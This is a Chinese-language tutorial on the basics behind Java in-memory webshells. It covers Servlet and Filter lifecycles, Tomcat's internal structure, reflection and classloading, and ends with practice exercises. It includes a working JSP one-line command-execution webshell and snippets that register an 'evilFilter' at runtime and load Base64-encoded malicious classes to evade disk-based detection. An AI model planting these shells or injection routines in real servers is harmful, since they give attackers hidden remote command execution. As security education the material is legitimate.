学内存马之前,必须搞清楚这些基础,否则后面全是黑盒
Servlet 规范核心概念
Java Web 应用运行在 Servlet 容器(Tomcat、Jetty 等)中。理解内存马的前提是理解 Servlet 规范中的三大组件
三大组件
| 组件 |
作用 |
生命周期 |
| Servlet |
处理具体请求(如 /api/user) |
init → service → destroy |
| Filter |
请求到达 Servlet 前/后的拦截处理 |
init → doFilter → destroy |
| Listener |
监听容器事件(Session 创建、请求到达等) |
事件触发时回调 |
请求处理链
1 2 3 4 5 6 7 8 9 10 11 12 13
| 客户端请求 ↓ Listener (ServletRequestListener.requestInitialized) ↓ Filter Chain (Filter1 → Filter2 → ... → FilterN) ↓ Servlet (service/doGet/doPost) ↓ Filter Chain (返回方向) ↓ Listener (ServletRequestListener.requestDestroyed) ↓ 响应返回客户端
|
关键认知: 内存马本质上就是在运行时动态注册这些组件,不需要写入磁盘
web.xml 静态注册 vs 动态注册
传统方式(web.xml 静态注册):
1 2 3 4 5 6 7 8
| <filter> <filter-name>myFilter</filter-name> <filter-class>com.example.MyFilter</filter-class> </filter> <filter-mapping> <filter-name>myFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
|
Servlet 3.0+ 支持动态注册(这是内存马的基础):
1 2 3 4
| ServletContext ctx = request.getServletContext(); FilterRegistration.Dynamic filter = ctx.addFilter("evilFilter", new EvilFilter()); filter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, "/*");
|
Tomcat 架构(重点)
内存马 80% 的场景都在 Tomcat 中,必须理解其内部结构
核心组件层级
1 2 3 4 5 6 7 8 9
| Server (Catalina) └── Service ├── Connector (处理网络连接,如 HTTP/AJP) └── Engine └── Host (虚拟主机) └── Context (一个 Web 应用 = 一个 Context) ├── Wrapper (封装一个 Servlet) ├── FilterDef + FilterMap (Filter 定义和映射) └── ApplicationEventListener (Listener)
|
关键类(后续代码会频繁用到)
| 类名 |
作用 |
StandardContext |
Web 应用上下文,管理所有 Servlet/Filter/Listener |
FilterDef |
Filter 的定义(名称、类名、实例) |
FilterMap |
Filter 的 URL 映射 |
ApplicationFilterConfig |
Filter 的运行时配置 |
ApplicationFilterChain |
Filter 调用链 |
Wrapper / StandardWrapper |
Servlet 的包装器 |
如何获取 StandardContext
这是注入内存马的入口,有多种获取方式:
1 2 3 4 5 6 7 8 9
|
Field reqField = request.getClass().getDeclaredField("request"); reqField.setAccessible(true); Request req = (Request) reqField.get(request); StandardContext ctx = (StandardContext) req.getContext();
|
Java 反射
内存马大量使用反射来访问私有字段和方法
核心 API
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Class<?> clazz = obj.getClass(); Class<?> clazz = Class.forName("com.example.MyClass");
Field field = clazz.getDeclaredField("fieldName"); field.setAccessible(true); Object value = field.get(obj); field.set(obj, newValue);
Method method = clazz.getDeclaredMethod("methodName", String.class, int.class); method.setAccessible(true); Object result = method.invoke(obj, "arg1", 42);
Constructor<?> ctor = clazz.getDeclaredConstructor(String.class); ctor.setAccessible(true); Object instance = ctor.newInstance("arg");
|
反射在内存马中的作用
- 访问 Tomcat 内部对象:很多关键字段是 private 的
- 动态创建恶意组件:绕过正常注册流程
- 从线程上下文获取对象:在没有 request 的场景下找到注入点
Java 类加载机制
双亲委派模型
1 2 3 4 5 6 7
| Bootstrap ClassLoader (加载 rt.jar) ↑ Extension ClassLoader (加载 ext 目录) ↑ Application ClassLoader (加载 classpath) ↑ Custom ClassLoader (自定义类加载器)
|
为什么内存马需要理解类加载?
- 动态定义类:内存马需要在运行时创建新的 Class(恶意 Filter/Servlet)
- **ClassLoader.defineClass()**:将字节码 byte[] 转为 Class 对象
- 不同 ClassLoader 加载的类互相不可见:需要注意类加载器的选择
1 2 3 4 5 6 7 8
| Method defineClass = ClassLoader.class.getDeclaredMethod( "defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] classBytes = Base64.getDecoder().decode(evilClassBase64); Class<?> evilClass = (Class<?>) defineClass.invoke( Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length);
|
从传统 Webshell 到内存马的演进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 阶段1:大马/小马 └── 完整的 JSP/PHP 文件,功能丰富但体积大,容易被发现
阶段2:一句话木马 └── <%Runtime.getRuntime().exec(request.getParameter("cmd"));%> └── 体积小,但仍然是文件形式,会被文件监控发现
阶段3:加密/变形一句话 └── 各种编码、反射调用来绕过 WAF 和杀软 └── 仍然是文件,仍然有磁盘落地
阶段4:内存马 ★ └── 不写入磁盘,直接注入到 JVM 内存中 └── 重启消失(持久化除外),文件监控完全无感 └── 流量层面表现为正常的 Servlet/Filter 请求
|
内存马的核心优势
| 对比维度 |
传统 Webshell |
内存马 |
| 文件落地 |
需要写文件 |
不需要 |
| 文件查杀 |
容易被发现 |
无文件可查 |
| 存活周期 |
文件存在就在 |
默认重启消失 |
| 流量特征 |
访问特殊 URL |
可伪装为正常请求 |
| 注入难度 |
低(上传即可) |
较高(需要代码执行点) |
练习题
- 写一个简单的 Filter,打印每个请求的 URL,体会 Filter 的工作机制
- 用反射获取一个对象的所有私有字段和值
- 在 Tomcat 中用
ServletContext.addFilter() 动态注册一个 Filter
- 思考:如果没有 request 对象,如何获取到 Tomcat 的 StandardContext?